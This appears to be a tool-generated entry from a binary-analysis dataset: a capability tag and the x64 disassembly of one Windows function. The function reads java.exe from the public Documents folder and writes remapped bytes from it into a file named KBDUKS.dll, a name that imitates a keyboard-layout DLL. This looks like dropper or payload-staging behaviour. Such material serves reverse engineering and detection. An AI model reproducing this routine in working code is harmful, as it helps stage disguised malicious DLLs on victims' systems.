Function at 0x401e07
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x250], xmm6
movaps xmmword [rbp + 0x260], xmm7
movaps xmmword [rbp + 0x270], xmm8
movaps xmmword [rbp + 0x280], xmm9
movaps xmmword [rbp + 0x290], xmm10
movaps xmmword [rbp + 0x2a0], xmm11
movaps xmmword [rbp + 0x2b0], xmm12
movaps xmmword [rbp + 0x2c0], xmm13
movaps xmmword [rbp + 0x2d0], xmm14
movaps xmmword [rbp + 0x2e0], xmm15
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x30], rax
lea rax, [0x00826210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x20]
lea rbx, [rbp + 0x250]
mov qword [rax], rbx
lea rdx, [0x00402168]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg._Unwind_SjLj_Register
mov dword [rbp - 0x58], 0xffffffff
lea rdx, [0x0080b04e]
lea rcx, str.C:UsersPublicDocumentsKBDUKS.dll
call sym.fopen
mov qword [rbp + 0x240], rax
mov edx, 2
mov ecx, 4
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea rax, [rbp + 0x30]
mov r8d, edx
lea rdx, str.C:UsersPublicDocumentsjava.exe
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x30]
add rax, 0xd0
mov dword [rbp - 0x58], 1
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x401f42
lea rdx, str.Failed_to_open_java.exe
mov rcx, qword [0x008103b0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov dword [rbp + 8], 0
jmp 0x40211f
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x30]
mov dword [rbp - 0x58], 1
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp + 0x210]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov qword [rbp + 0x238], rax
lea rax, [rbp + 0x30]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x223]
mov rcx, rax
call fcn.0046ff10
mov rdx, qword [rbp + 0x238]
lea rcx, [rbp + 0x223]
lea rax, [rbp + 0x10]
mov dword [rbp - 0x58], 2
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_long_long__std::allocator_unsigned_char__const_
lea rax, [rbp + 0x223]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rcx, rax
mov rdx, qword [rbp + 0x238]
lea rax, [rbp + 0x30]
mov dword [rbp - 0x58], 3
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::istream.read_char__long_long_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x402041
lea rdx, str.Failed_to_read_the_entire_file
mov rcx, qword [0x008103b0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov dword [rbp + 8], 0
jmp 0x4020fd
lea rax, [rbp + 0x30]
mov dword [rbp - 0x58], 3
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [0x005b7f60]
mov qword [rbp + 0x230], rax
lea rax, [0x005b7f60]
mov qword [rbp + 0x248], rax
lea rax, [0x00807f60]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x248]
cmp rax, qword [rbp + 0x228]
je 0x4020e0
mov rax, qword [rbp + 0x248]
mov eax, dword [rax]
mov dword [rbp + 0x224], eax
mov eax, dword [rbp + 0x224]
movsxd rdx, eax
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_long_long_
mov rcx, rax
mov rax, qword [rbp + 0x240]
mov dword [rbp - 0x58], 3
mov r9, rax
mov r8d, 1
mov edx, 1
call sym.fwrite
add qword [rbp + 0x248], 4
jmp 0x40207e
mov rax, qword [rbp + 0x240]
mov dword [rbp - 0x58], 3
mov rcx, rax
call sym.fclose
mov dword [rbp + 8], 1
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
cmp dword [rbp + 8], 1
jne 0x402118
mov dword [rbp + 8], 1
jmp 0x40211f
mov dword [rbp + 8], 0
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.004a79a0
cmp dword [rbp + 8], 1
jmp 0x4021b0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
nop
movaps xmm6, xmmword [rbp + 0x250]
movaps xmm7, xmmword [rbp + 0x260]
movaps xmm8, xmmword [rbp + 0x270]
movaps xmm9, xmmword [rbp + 0x280]
movaps xmm10, xmmword [rbp + 0x290]
movaps xmm11, xmmword [rbp + 0x2a0]
movaps xmm12, xmmword [rbp + 0x2b0]
movaps xmm13, xmmword [rbp + 0x2c0]
movaps xmm14, xmmword [rbp + 0x2d0]
movaps xmm15, xmmword [rbp + 0x2e0]
add rsp, 0x378
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret